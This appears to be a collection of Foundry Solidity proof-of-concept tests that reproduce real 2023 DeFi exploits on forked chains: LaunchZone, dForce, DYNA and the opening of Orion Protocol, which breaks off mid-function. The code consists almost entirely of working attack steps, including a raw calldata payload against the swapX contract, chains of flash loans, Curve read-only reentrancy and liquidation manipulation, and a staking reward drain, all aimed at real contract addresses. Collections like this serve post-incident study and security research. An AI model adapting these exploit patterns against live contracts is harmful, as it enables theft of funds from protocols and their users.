// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

// analysis
// https://blog.verichains.io/p/analyzing-the-lz-token-hack
// https://twitter.com/immunefi/status/1630210901360951296
// https://bscscan.com/tx/0xaee8ef10ac816834cd7026ec34f35bdde568191fe2fa67724fcf2739e48c3cae exploit tx

// reponse
// https://twitter.com/launchzoneann/status/1631538253424918528

// contracts to study
// https://bscscan.com/address/0x0ccee62efec983f3ec4bad3247153009fb483551 proxy for implementation (verified)
// https://bscscan.com/address/0x6D8981847Eb3cc2234179d0F0e72F6b6b2421a01 implementation (unverified)
// https://bscscan.com/address/0x1c2b102f22c08694eee5b1f45e7973b6eaca3e92  attacker contract

interface UniRouterLike {
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function getAmountsOut(
        uint256 amountIn,
        address[] calldata path
    ) external view returns (uint256[] memory amounts);
}

interface ERC20Like {
    function transfer(address to, uint256 amount) external returns (bool);

    function balanceOf(
        address account
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);
}

contract LaunchZoneExploit is Test {
    ERC20Like LZ;
    ERC20Like BUSD;
    ERC20Like BISWAPPair;
    UniRouterLike BISWAPRouter;
    UniRouterLike pancackeRouter;

    address immutable BscexDeployer = 0xdad254728A37D1E80C21AFae688C64d0383cc307;
    address immutable attacker = 0x1C2B102f22c08694EEe5B1f45E7973b6EACA3e92;

    address immutable swapXImp = 0x6D8981847Eb3cc2234179d0F0e72F6b6b2421a01; // unverified

    function setUp() public {
        // select and fork bsc at 26024420
        vm.createSelectFork("bsc", 26_024_420 - 1); // previous block so still there is fund
        LZ = ERC20Like(0x3B78458981eB7260d1f781cb8be2CaAC7027DbE2);
        BUSD = ERC20Like(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
        BISWAPPair = ERC20Like(0xDb821BB482cfDae5D3B1A48EeaD8d2F74678D593);
        BISWAPRouter = UniRouterLike(0x3a6d8cA21D1CF76F653A67577FA0D27453350dD8);
        pancackeRouter = UniRouterLike(0x10ED43C718714eb63d5aA57B78B54704E256024E);

        vm.label(BscexDeployer, "BscexDeployer");

        vm.label(address(LZ), "LZ");
        vm.label(address(BUSD), "BUSD");
        vm.label(address(BISWAPPair), "BISWAP");
        vm.label(address(BISWAPRouter), "BISWAP Router");
        vm.label(attacker, "attacker");
        vm.label(address(this), "thisContract");
    }

    function testExploit() public {
        console.log("Running on BSC at : ", block.number);

        console.log("BscexDeployer LZ Balalnce", LZ.balanceOf(BscexDeployer));
        console.log("LZ allowance to swapXImp", LZ.allowance(BscexDeployer, swapXImp) / 1e18);

        //  lazy payload check the previous swapX PoC
        //  swapX.call(abi.encodeWithSelector(0x4f1f05bc, swapPath, transferAmount, value, array, victims[i]));
        //  calling unverified contract of swapXImp with payload containing swap
        //  (bool success, bytes memory returndata) = swapXImpl.call{value: msg.value}(data);

        bytes memory payload =
            hex"4f1f05bc00000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000082da53fc059357f82f9b400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000dad254728a37d1e80c21afae688c64d0383cc30700000000000000000000000000000000000000000000000000000000000000020000000000000000000000003b78458981eb7260d1f781cb8be2caac7027dbe2000000000000000000000000e9e7cea3dedca5984780bafc599bd69add087d5600000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
        (bool success,) = address(swapXImp).call(payload);
        console.log("Payload delivered", success);

        console.log("BscexDeployer BUSD Balalnce", BUSD.balanceOf(BscexDeployer) / 1e18);

        // give attacker 50 BUSD
        deal(address(BUSD), address(this), 50 * 1e18);

        // get BUSD from attacker
        console.log("attacker BUSD Balalnce", BUSD.balanceOf(address(this)) / 1e18);

        // approve router for 50 BUSD
        BUSD.approve(address(BISWAPRouter), 50 * 1e18);

        //get amount out for BUSD to LZ
        // define path
        address[] memory path = new address[](2);
        path[0] = address(BUSD);
        path[1] = address(LZ);

        uint256[] memory amounts = BISWAPRouter.getAmountsOut(50 * 1e18, path);
        console.log("amounts BUSD/LZ", amounts[0] / 1e18, amounts[1] / 1e18);

        // do the swap
        BISWAPRouter.swapExactTokensForTokens(amounts[0], amounts[1], path, address(this), block.timestamp);

        // at this point attack has 9_886_999 for 50 BUSD
        console.log("attacker LZ Balalnce", LZ.balanceOf(address(this)) / 1e18);

        console.log("attacker BUSD Balalnce", BUSD.balanceOf(address(this)) / 1e18);

        // reverse swap on pancake
        // building a  new path
        address[] memory path2 = new address[](2);
        path2[0] = address(LZ);
        path2[1] = address(BUSD);

        // get amount out for LZ to BUSD from pancackeRouter
        uint256[] memory amounts2 = pancackeRouter.getAmountsOut(LZ.balanceOf(address(this)), path2);

        console.log("amounts LZ/BUSD", amounts2[0] / 1e18, amounts2[1] / 1e18);

        // attacker gets 88,899 BUSD for 9,886,999 LZ which bought for 50 BUSD
        // approve pancackeRouter for 9,886,999 LZ
        LZ.approve(address(pancackeRouter), LZ.balanceOf(address(this)));

        // do the swap
        pancackeRouter.swapExactTokensForTokens(amounts2[0], amounts2[1], path2, address(this), block.timestamp);
        // check current BSUSD balance
        console.log("attacker BUSD Balalnce", BUSD.balanceOf(address(this)) / 1e18);
    }
}

LaunchZone Exploit (2023-02)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/SlowMist_Team/status/1623956763598000129
// https://twitter.com/BlockSecTeam/status/1623901011680333824
// https://twitter.com/peckshield/status/1623910257033617408
// @TX
// https://arbiscan.io/tx/0x5db5c2400ab56db697b3cc9aa02a05deab658e1438ce2f8692ca009cc45171dd

interface uniswapV3Flash {
    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
}

interface ISwapFlashLoan {
    function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;
}

interface IVWSTETHCRVGAUGE is IERC20 {
    function redeem(address receiver, uint256 amount) external;
}

interface ICurvePools is ICurvePool {
    function remove_liquidity(
        uint256 token_amount,
        uint256[2] memory min_amounts
    ) external returns (uint256[2] memory);
}

interface IDForce {
    function borrowBalanceStored(
        address account
    ) external returns (uint256);
    function liquidateBorrow(address _borrower, uint256 _repayAmount, address _assetCollateral) external;
}

interface IPriceOracleV2 {
    function getUnderlyingPrice(
        address _asset
    ) external returns (uint256);
}

interface GMXVAULT {
    function swap(address _tokenIn, address _tokenOut, address _receiver) external;
}

contract ContractTest is Test {
    IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
    IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
    IERC20 USX = IERC20(0x641441c631e2F909700d2f41FD87F0aA6A6b4EDb);
    IERC20 WSTETH = IERC20(0x5979D7b546E38E414F7E9822514be443A4800529);
    IERC20 WSTETHCRV = IERC20(0xDbcD16e622c95AcB2650b38eC799f76BFC557a0b);
    IERC20 WSTETHCRVGAUGE = IERC20(0x098EF55011B6B8c99845128114A9D9159777d697);
    IVWSTETHCRVGAUGE VWSTETHCRVGAUGE = IVWSTETHCRVGAUGE(0x2cE498b79C499c6BB64934042eBA487bD31F75ea);
    IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
    IAaveFlashloan Radiant = IAaveFlashloan(0x2032b9A8e9F7e76768CA9271003d3e43E1616B1F);
    uniswapV3Flash UniV3Flash = uniswapV3Flash(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);
    Uni_Pair_V2 SLP1 = Uni_Pair_V2(0xB7E50106A5bd3Cf21AF210A755F9C8740890A8c9);
    Uni_Pair_V2 SLP2 = Uni_Pair_V2(0x905dfCD5649217c42684f23958568e533C711Aa3);
    Uni_Pair_V2 SLP3 = Uni_Pair_V2(0x0C1Cf6883efA1B496B01f654E247B9b419873054);
    Uni_Pair_V2 ZLP = Uni_Pair_V2(0x8b8149Dd385955DC1cE77a4bE7700CCD6a212e65);
    ISwapFlashLoan swapFlashLoan = ISwapFlashLoan(0xa067668661C84476aFcDc6fA5D758C4c01C34352);
    ICurvePools curvePool = ICurvePools(0x6eB2dc694eB516B16Dc9FBc678C60052BbdD7d80);
    ICointroller cointroller = ICointroller(0x61afB763bc265bD372e8Af8daC00196C9A5eCea0);
    address aArbWETH = 0xe50fA9b3c56FfB159cB0FCA61F5c9D750e8128c8;
    address rWETH = 0x15b53d277Af860f51c3E6843F8075007026BBb3a;
    IDForce dForceContract = IDForce(0xC462fF1063172BAC6f6823A17ED181a0586f0FC8);
    IPriceOracleV2 PriceOracle = IPriceOracleV2(0x15962427A9795005c640A6BF7f99c2BA1531aD6d);
    IcurveYSwap curveYSwap = IcurveYSwap(0x2ce5Fd6f6F4a159987eac99FF5158B7B62189Acf);
    GMXVAULT GMXVault = GMXVAULT(0x489ee077994B6658eAfA855C308275EAd8097C4A);
    Borrower borrower;
    address victimAddress2 = 0x916792f7734089470de27297903BED8a4630b26D;
    uint256 balancerFlashloanAmount;
    uint256 aaveV3FlashloanAmount;
    uint256 UniV3FlashloanAmount;
    uint256 SLP1FlashloanAmount;
    uint256 SLP2FlashloanAmount;
    uint256 SLP3FlashloanAmount;
    uint256 ZLPFlashloanAmount;
    uint256 swapFlashloanAmount;
    uint256 nonce;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("arbitrum", 59_527_633);
        cheats.label(address(WETH), "WETH");
        cheats.label(address(USDC), "USDC");
        cheats.label(address(USX), "USX");
        cheats.label(address(WSTETH), "WSTETH");
        cheats.label(address(WSTETHCRV), "WSTETHCRV");
        cheats.label(address(WSTETHCRVGAUGE), "WSTETHCRVGAUGE");
        cheats.label(address(VWSTETHCRVGAUGE), "VWSTETHCRVGAUGE");
        cheats.label(address(balancer), "balancer");
        cheats.label(address(aaveV3), "aaveV3");
        cheats.label(address(Radiant), "Radiant");
        cheats.label(address(UniV3Flash), "UniV3Flash");
        cheats.label(address(SLP1), "SLP1");
        cheats.label(address(SLP2), "SLP2");
        cheats.label(address(SLP3), "SLP3");
        cheats.label(address(ZLP), "ZLP");
        cheats.label(address(swapFlashLoan), "swapFlashLoan");
        cheats.label(address(curvePool), "curvePool");
        cheats.label(address(cointroller), "cointroller");
        cheats.label(address(aArbWETH), "aArbWETH");
        cheats.label(address(rWETH), "rWETH");
        cheats.label(address(dForceContract), "dForceContract");
        cheats.label(address(PriceOracle), "PriceOracle");
        cheats.label(address(curveYSwap), "curveYSwap");
        cheats.label(address(GMXVault), "GMXVault");
    }

    function testExploit() public {
        borrower = new Borrower();
        payable(address(0x0)).transfer(address(this).balance);
        WSTETH.approve(address(curvePool), type(uint256).max);
        WSTETHCRV.approve(address(curvePool), type(uint256).max);
        balancerFlashloan();
        USX.approve(address(curveYSwap), type(uint256).max);
        curveYSwap.exchange_underlying(0, 1, 500_000 * 1e18, 0);
        emit log_named_decimal_uint(
            "19.swap the USX token to USDC, and swap USDC to WETH, the USDC amount",
            USDC.balanceOf(address(this)),
            USDC.decimals()
        );
        USDC.transfer(address(GMXVault), USDC.balanceOf(address(this)));
        GMXVault.swap(address(USDC), address(WETH), address(this));

        emit log_named_decimal_uint(
            "20.Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
        );
    }
    // 1.balancerFlashloan

    function balancerFlashloan() internal {
        balancerFlashloanAmount = WETH.balanceOf(address(balancer));
        emit log_named_decimal_uint("1.balancer Flashloan WETH amount", balancerFlashloanAmount, WETH.decimals());
        address[] memory tokens = new address[](1);
        tokens[0] = address(WETH);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = balancerFlashloanAmount;
        bytes memory userData = "";
        balancer.flashLoan(address(this), tokens, amounts, userData);
    }
    // 2.balancerFlashloan callback

    function receiveFlashLoan(
        address[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external {
        aaveV3Flashloan();
        WETH.transfer(address(balancer), balancerFlashloanAmount);
    }
    // 3.aaveV3Flashloan

    function aaveV3Flashloan() internal {
        aaveV3FlashloanAmount = WETH.balanceOf(aArbWETH);
        emit log_named_decimal_uint("2.aave Flashloan WETH amount", aaveV3FlashloanAmount, WETH.decimals());
        address[] memory assets = new address[](1);
        assets[0] = address(WETH);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = aaveV3FlashloanAmount;
        uint256[] memory modes = new uint256[](1);
        modes[0] = 0;
        aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
    }
    // 4.aaveV3Flashloan callback 6. RadiantFlashloan callback

    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata premiums,
        address initiator,
        bytes calldata params
    ) external returns (bool) {
        if (msg.sender == address(aaveV3)) {
            RadiantFlashloan();
            WETH.approve(address(aaveV3), type(uint256).max);
            return true;
        } else if (msg.sender == address(Radiant)) {
            UniSwapV3Flashloan();
            WETH.approve(address(Radiant), type(uint256).max);
            return true;
        }
    }
    // 5.RadiantFlashloan

    function RadiantFlashloan() internal {
        address[] memory assets = new address[](1);
        assets[0] = address(WETH);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = WETH.balanceOf(rWETH);
        uint256[] memory modes = new uint256[](1);
        modes[0] = 0;
        emit log_named_decimal_uint("3.Radiant Flashloan WETH amount", amounts[0], WETH.decimals());
        Radiant.flashLoan(address(this), assets, amounts, modes, address(0), new bytes(1), 0);
    }
    // 7.UniSwapV3Flashloan

    function UniSwapV3Flashloan() internal {
        UniV3FlashloanAmount = WETH.balanceOf(address(UniV3Flash));
        emit log_named_decimal_uint("4.UniswapV3 Flashloan WETH amount", UniV3FlashloanAmount, WETH.decimals());
        UniV3Flash.flash(address(this), UniV3FlashloanAmount, 0, new bytes(1));
    }
    // 8.uniswapV3Flash Callback

    function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
        SLP1Flashloan();
        WETH.transfer(address(UniV3Flash), UniV3FlashloanAmount * 1000 / 997 + 1000);
    }
    // 9.sushipair1Flashloan

    function SLP1Flashloan() internal {
        SLP1FlashloanAmount = WETH.balanceOf(address(SLP1)) - 1;
        emit log_named_decimal_uint("5.Sushi Flashloan WETH amount", SLP1FlashloanAmount, WETH.decimals());
        SLP1.swap(0, SLP1FlashloanAmount, address(this), new bytes(1));
    }
    // 11.sushipair2Flashloan

    function SLP2Flashloan() internal {
        SLP2FlashloanAmount = WETH.balanceOf(address(SLP2)) - 1;
        emit log_named_decimal_uint("6.Sushi Flashloan WETH amount", SLP2FlashloanAmount, WETH.decimals());
        SLP2.swap(SLP2FlashloanAmount, 0, address(this), new bytes(1));
    }
    // 13.sushipair3Flashloan

    function SLP3Flashloan() internal {
        SLP3FlashloanAmount = WETH.balanceOf(address(SLP3)) - 1;
        emit log_named_decimal_uint("7.Sushi Flashloan WETH amount", SLP3FlashloanAmount, WETH.decimals());
        SLP3.swap(0, SLP3FlashloanAmount, address(this), new bytes(1));
    }
    // 10.sushipair1Flashloan callback, 12.sushipair2Flashloan callback, 14.sushipair3Flashloan callback

    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        if (msg.sender == address(SLP1)) {
            SLP2Flashloan();
            WETH.transfer(address(SLP1), SLP1FlashloanAmount * 1000 / 997 + 1000);
        } else if (msg.sender == address(SLP2)) {
            SLP3Flashloan();
            WETH.transfer(address(SLP2), SLP2FlashloanAmount * 1000 / 997 + 1000);
        } else if (msg.sender == address(SLP3)) {
            ZyberFlashloan();
            WETH.transfer(address(SLP3), SLP3FlashloanAmount * 1000 / 997 + 1000);
        }
    }
    // 15. ZyberFlashloan

    function ZyberFlashloan() internal {
        ZLPFlashloanAmount = WETH.balanceOf(address(ZLP)) - 1;
        emit log_named_decimal_uint("8.Zyber Flashloan WETH amount", ZLPFlashloanAmount, WETH.decimals());
        ZLP.swap(ZLPFlashloanAmount, 0, address(this), new bytes(1));
    }
    // 16. ZyberFlashloan callback

    function ZyberCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        SwapFlashLoans();
        WETH.transfer(address(ZLP), ZLPFlashloanAmount * 10_000 / 9975 + 1000);
    }
    // 17. SwapFlashLoan

    function SwapFlashLoans() internal {
        swapFlashloanAmount = WETH.balanceOf(address(swapFlashLoan));
        emit log_named_decimal_uint("9.SwapFlashLoan Flashloan WETH amount", swapFlashloanAmount, WETH.decimals());
        swapFlashLoan.flashLoan(address(this), address(WETH), swapFlashloanAmount, new bytes(1));
    }
    // 18. SwapFlashLoan callback

    function executeOperation(
        address pool,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata params
    ) external payable {
        uint256 ETHBalance = WETH.balanceOf(address(this));
        WETH.withdraw(ETHBalance);
        console.log("--------------------------------------------------");
        emit log_named_decimal_uint(
            "10.SwapFlashLoan callback, add liquidity to curve, the ETH amount", ETHBalance, WETH.decimals()
        );
        uint256 LPAmount = curvePool.add_liquidity{value: ETHBalance}([ETHBalance, 0], 0);
        USX.approve(address(dForceContract), type(uint256).max);
        USX.approve(address(VWSTETHCRVGAUGE), type(uint256).max);
        console.log("--------------------------------------------------");
        emit log_named_decimal_uint(
            "11.Transfer wstETHCRV token to exploiter's borrower, token amount",
            1_904_761_904_761_904_761_904,
            WSTETHCRV.decimals()
        );
        WSTETHCRV.transfer(address(borrower), 1_904_761_904_761_904_761_904);
        borrower.exec();
        uint256 burnAmount = 63_438_591_176_197_540_597_712;
        emit log_named_decimal_uint(
            "14.Remove liquidity from curve, before reentrancy, the price of VWSTETHCRVGAUGE",
            PriceOracle.getUnderlyingPrice(address(VWSTETHCRVGAUGE)),
            VWSTETHCRVGAUGE.decimals()
        );
        curvePool.remove_liquidity(burnAmount, [uint256(0), uint256(0)]); // curve read-only-reentrancy
        burnAmount = 2_924_339_222_027_299_635_899;
        curvePool.remove_liquidity(burnAmount, [uint256(0), uint256(0)]);
        curvePool.exchange(1, 0, WSTETH.balanceOf(address(this)), 0);
        address(WETH).call{value: address(this).balance}(abi.encodeWithSignature("deposit()"));
        WETH.transfer(address(swapFlashLoan), amount + fee); // repay flashloan amount
    }

    fallback() external payable {
        if (nonce == 0 && msg.sender == address(curvePool)) {
            nonce++;
            emit log_named_decimal_uint(
                "15.In reentrancy, the price of VWSTETHCRVGAUGE",
                PriceOracle.getUnderlyingPrice(address(VWSTETHCRVGAUGE)),
                VWSTETHCRVGAUGE.decimals()
            );
            uint256 borrowAmount = dForceContract.borrowBalanceStored(address(borrower));
            uint256 Multiplier = cointroller.closeFactorMantissa();
            emit log_named_decimal_uint(
                "16.liquidate the exploiter's borrower, the borrowAmount of exploiter",
                borrowAmount,
                VWSTETHCRVGAUGE.decimals()
            );
            cointroller.liquidateCalculateSeizeTokens(
                address(dForceContract), address(VWSTETHCRVGAUGE), borrowAmount * Multiplier / 1e18
            );
            dForceContract.liquidateBorrow(address(borrower), 560_525_526_525_080_924_601_515, address(VWSTETHCRVGAUGE));
            borrowAmount = dForceContract.borrowBalanceStored(victimAddress2);
            emit log_named_decimal_uint(
                "17.liquidate the victim's borrower, the borrowAmount of victim",
                borrowAmount,
                VWSTETHCRVGAUGE.decimals()
            );
            console.log("--------------------------------------------------");
            cointroller.liquidateCalculateSeizeTokens(
                address(dForceContract), address(VWSTETHCRVGAUGE), borrowAmount * Multiplier / 1e18
            );
            dForceContract.liquidateBorrow(victimAddress2, 300_037_034_111_437_845_493_368, address(VWSTETHCRVGAUGE));
            VWSTETHCRVGAUGE.redeem(address(this), VWSTETHCRVGAUGE.balanceOf(address(this)));
            emit log_named_decimal_uint(
                "18.redeem vwstETHCRV-gauge to wstETHCRV-gauge and withdraw wstETHCRV, the token amount",
                WSTETHCRVGAUGE.balanceOf(address(this)),
                WSTETHCRVGAUGE.decimals()
            );
            WSTETHCRVGAUGE.withdraw(WSTETHCRVGAUGE.balanceOf(address(this)));
        }
    }
}

contract Borrower is Test {
    IERC20 WSTETHCRV = IERC20(0xDbcD16e622c95AcB2650b38eC799f76BFC557a0b);
    IERC20 WSTETHCRVGAUGE = IERC20(0x098EF55011B6B8c99845128114A9D9159777d697);
    IERC20 USX = IERC20(0x641441c631e2F909700d2f41FD87F0aA6A6b4EDb);
    IDForce dForceContract = IDForce(0xC462fF1063172BAC6f6823A17ED181a0586f0FC8);

    function exec() external {
        emit log_named_decimal_uint(
            "12.deposit wstETHCRV to wstETHCRV-gauge, token amount", 1_904_761_904_761_904_761_904, WSTETHCRV.decimals()
        );
        WSTETHCRV.approve(address(WSTETHCRVGAUGE), type(uint256).max);
        uint256 depositAmount = 1_904_761_904_761_904_761_904;
        address(WSTETHCRVGAUGE).call(abi.encodeWithSignature("deposit(uint256)", depositAmount));
        WSTETHCRVGAUGE.approve(address(dForceContract), type(uint256).max);
        uint256 WSTETHCRVGAUGEAmount = WSTETHCRVGAUGE.balanceOf(address(this));
        uint256 borrowAmount = 2_080_000_000_000_000_000_000_000;
        (bool success,) = address(dForceContract).call(
            abi.encodeWithSelector(0x4381c41a, uint256(1), WSTETHCRVGAUGEAmount, borrowAmount)
        ); // get USX
        require(success);
        emit log_named_decimal_uint(
            "13.deposit wstETHCRV-gauge to dForce, receive USX token, the token amount",
            USX.balanceOf(address(this)),
            USX.decimals()
        );
        USX.transfer(msg.sender, USX.balanceOf(address(this)));
        console.log("--------------------------------------------------");
    }
}

dForce Exploit (2023-02)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/BlockSecTeam/status/1628319536117153794
// https://twitter.com/BeosinAlert/status/1628301635834486784
// @TX
// https://bscscan.com/tx/0x06bbe093d9b84783b8ca92abab5eb8590cb2321285660f9b2a529d665d3f18e4
// https://bscscan.com/tx/0xc09678fec49c643a30fc8e4dec36d0507dae7e9123c270e1f073d335deab6cf0

interface IStakingDYNA {
    function deposit(
        uint256 _stakeAmount
    ) external;
    function redeem(
        uint256 _redeemAmount
    ) external;
}

interface IDYNA is IERC20 {
    function _setMaxSoldAmount(
        uint256 maxvalue
    ) external;
    function _maxSoldAmount() external view returns (uint256);
}

contract StakingReward {
    IERC20 DYNA = IERC20(0x5c0d0111ffc638802c9EfCcF55934D5C63aB3f79);
    IStakingDYNA StakingDYNA = IStakingDYNA(0xa7B5eabC3Ee82c585f5F4ccC26b81c3Bd62Ff3a9);
    address Owner;

    constructor(
        address owner
    ) {
        Owner = owner;
        DYNA.approve(address(StakingDYNA), type(uint256).max);
    }

    function deposit(
        uint256 amount
    ) external {
        StakingDYNA.deposit(amount);
    }

    function withdraw(
        uint256 amount
    ) external {
        StakingDYNA.redeem(amount);
        DYNA.transfer(Owner, DYNA.balanceOf(address(this)));
    }
}

contract ContractTest is Test {
    IDYNA DYNA = IDYNA(0x5c0d0111ffc638802c9EfCcF55934D5C63aB3f79);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IStakingDYNA StakingDYNA = IStakingDYNA(0xa7B5eabC3Ee82c585f5F4ccC26b81c3Bd62Ff3a9);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0xb6148c6fA6Ebdd6e22eF5150c5C3ceE78b24a3a0);
    StakingReward stakingReward;
    StakingReward[] StakingRewardList;
    uint256 flashLoanAmount;
    address DYNAOwner = 0xA8Ff6C807654c5B2B55f188e9a7Ce31C8d192353;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 25_879_486);
        cheats.label(address(DYNA), "DYNA");
        cheats.label(address(WBNB), "WBNB");
        cheats.label(address(Router), "Router");
        cheats.label(address(Pair), "Pair");
        cheats.label(address(StakingDYNA), "StakingDYNA");
    }

    function testExploit() external {
        StakingRewardFactory();
        DYNA.transfer(address(Pair), 1); //
        DYNA.transfer(tx.origin, 1e17);
        //
        cheats.startPrank(tx.origin);
        // Bypass Sold Amount Limit
        DYNA.transfer(address(Pair), 1); //
        cheats.stopPrank();
        //
        cheats.warp(block.timestamp + 7 * 24 * 60 * 60);
        // deposit a week ago
        flashLoanAmount = DYNA.balanceOf(address(Pair)) - 3;
        Pair.swap(flashLoanAmount, 0, address(this), new bytes(1));
        DYNAToWBNB();

        emit log_named_decimal_uint("Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function StakingRewardFactory() internal {
        deal(address(DYNA), address(this), 1001 * 1e18);
        uint256 preStakingRewardAmount = 1000 * 1e18 / 200;
        for (uint256 i; i < 200; ++i) {
            stakingReward = new StakingReward(address(this));
            DYNA.transfer(address(stakingReward), preStakingRewardAmount);
            stakingReward.deposit(preStakingRewardAmount);
            StakingRewardList.push(stakingReward);
        }
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        uint256 listLength = StakingRewardList.length;
        for (uint256 i; i < listLength; ++i) {
            uint256 amount = DYNA.balanceOf(address(this));
            DYNA.transfer(address(StakingRewardList[i]), amount);
            StakingRewardList[i].deposit(amount);
            StakingRewardList[i].withdraw(amount);
        }
        DYNA.transfer(address(Pair), flashLoanAmount * 100_000 / 9975 / 9 + 1000);
    }

    function DYNAToWBNB() internal {
        DYNA.transfer(tx.origin, DYNA.balanceOf(address(this)));
        cheats.startPrank(tx.origin);
        DYNA.approve(address(Router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(DYNA);
        path[1] = address(WBNB);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            DYNA.balanceOf(tx.origin), 0, path, address(this), block.timestamp
        );
        cheats.stopPrank();
    }
}

DYNA Exploit (2023-02)


// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analsysi
// https://twitter.com/peckshield/status/1621337925228306433
// https://twitter.com/BlockSecTeam/status/1621263393054420992
// https://www.numencyber.com/analysis-of-orionprotocol-reentrancy-attack-with-poc/
// @TX
// https://etherscan.io/tx/0xa6f63fcb6bec8818864d96a5b1bb19e8bd85ee37b2cc916412e720988440b2aa ETH
// https://bscscan.com/tx/0xfb153c572e304093023b4f9694ef39135b6ed5b2515453173e81ec02df2e2104 BSC

// similar events
// https://github.com/SunWeb3Sec/DeFiHackLabs#20221223---defrost---reentrancy
// https://github.com/SunWeb3Sec/DeFiHackLabs#20221110---dfxfinance---reentrancy

interface OrionPoolV2Factory {
    function createPair(address tokenA, address tokenB) external;
    function getPair(address tokenA, address tokenB) external view returns (address);
}

interface ORION {
    function swapThroughOrionPool(
        uint112 amount_spend,
        uint112 amount_receive,
        address[] calldata path,
        bool is_exact_spend
    ) external;
    function depositAsset(address assetAddress, uint112 amount) external;
    function getBalance(address assetAddress, address user) external view returns (int192);
    function withdraw(address assetAddress, uint112 amount) external;
}

contract ContractTest is Test {
    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    ORION Orion = ORION(0xb5599f568D3f3e6113B286d010d2BCa40A7745AA);
    OrionPoolV2Factory Factory = OrionPoolV2Factory(0x5FA0060FcfEa35B31F7A5f6025F0fF399b98Edf1);
    Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    Uni_Router_V3 RouterV3 = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);
    uint256 flashAmount;
    IERC20 ATK;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 16_542_147);
        vm.label(address(USDT), "USDT");
        vm.label(address(USDC), "USDC");
        vm.label(address(Orion), "ORION");
        vm.label(address(Factory), "Factory");
        vm.label(address(ATK), "ATK");
        vm.label(address(RouterV3), "RouterV3");
        vm.label(address(Pair), "Pair");
    }

    function testExploit() public {
        deal(address(USDT), address(this), 1e6); // set the USDT balance of exploiter is 1
        deal(address(USDC), address(this), 1e6); // set the USDC balance of exploiter is 1
        ATK = new ATKToken(address(this));
        addLiquidity();

        address(USDT).call(abi.encodeWithSignature("approve(address,uint256)", address(Orion), type(uint256).max));
